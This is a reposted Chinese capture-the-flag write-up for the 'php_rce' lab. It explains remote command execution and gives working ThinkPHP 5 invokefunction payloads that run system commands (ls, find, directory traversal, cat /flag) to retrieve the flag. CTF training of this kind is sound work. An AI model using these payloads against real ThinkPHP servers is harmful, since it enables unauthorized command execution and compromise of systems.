欢迎来到尧图网

客户服务 关于我们

您的位置:首页 > 新闻 > 资讯 > 2025.2.1——四、php_rce RCE漏洞|PHP框架

2025.2.1——四、php_rce RCE漏洞|PHP框架

2025/2/3 0:08:45 来源:https://blog.csdn.net/2402_87387800/article/details/145414395  浏览:    关键词:2025.2.1——四、php_rce RCE漏洞|PHP框架

题目来源:攻防世界  php_rce

目录

一、打开靶机,整理信息 

二、解题思路

step 1:PHP框架漏洞以及RCE漏洞信息

1.PHP常用框架

2.RCE远程命令执行

step 2:根据靶机提示,寻找版本漏洞

step 3:进行攻击

step 4:寻找flag信息

方法一:find命令查找与flag相关文件

方法二:以ls为核心进行目录穿越

step 5:查询flag cat /flag

三、小结


一、打开靶机,整理信息 

        这个界面有点奇怪,刷新几遍都没有问题,看过其他师傅的wp,发现是PHP框架的问题,所以就要寻找漏洞进行攻击

        根据题目名称提示:php_rce,RCE远程命令执行

二、解题思路

step 1:PHP框架漏洞以及RCE漏洞信息

1.PHP常用框架

(1)小型项目:CodeIngiter

(2)中型项目:CakePHP、Zend Framework、Laravel、Thinkphp

(3)大型重量级项目:Yii、Symfony、Laravel

使用PHP框架优点:更快的开发效率、减少编写代码量、拥有常见任务库、遵循良好的编码习惯、漏洞更少、便于技术团队合作、易于维护

2.RCE远程命令执行

要点:RCE(remote command/code execute)。分为远程命令执行ping以及远程代码执行evel。漏洞出现的原因是没有在输入口做输入处理。我们常见的路由器、防火墙、入侵检测等设备的web管理界面上一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。

即RCE漏洞,可以让攻击者直接向后台服务器远程注入操作系统命令或代码,从而控制后台系统。攻击者需要能进行ping操作的web界面,以及掌握能执行系统命令的函数、管道符、转义字符、注释符号、空格过滤、黑名单绕过(拼接绕过、单双引号绕过、编码绕过、反斜线、通配符绕过等)

step 2:根据靶机提示,寻找版本漏洞

        首页显示的是ThinkPHP V5,去Github找一下这个版本的漏洞

        复制第三条payload,进行url传参查询,得到如下回显

        说明这里的确存在RCE漏洞

step 3:进行攻击

        RCE是远程命令执行,本质还是命令执行,所以修改payload最后面,构造payload如下

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

得到如下回显

        可以进一步查看信息了,进行查看index.php

step 4:寻找flag信息

方法一:find命令查找与flag相关文件

payload为

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name flag

得到回显

说明flag文件确实存在

方法二:以ls为核心进行目录穿越

payload为

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls ../../../

得到回显

同样可以看到flag信息

step 5:查询flag cat /flag

payload如下

/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

得到flag

三、小结

1.要注意版本漏洞,GitHub上可以找到

2.远程命令执行也是命令执行的一种

版权声明:

本网仅为发布的内容提供存储空间,不对发表、转载的内容提供任何形式的保证。凡本网注明“来源:XXX网络”的作品,均转载自其它媒体,著作权归作者所有,商业转载请联系作者获得授权,非商业转载请注明出处。

我们尊重并感谢每一位作者,均已注明文章来源和作者。如因作品内容、版权或其它问题,请及时与我们联系,联系邮箱:809451989@qq.com,投稿邮箱:809451989@qq.com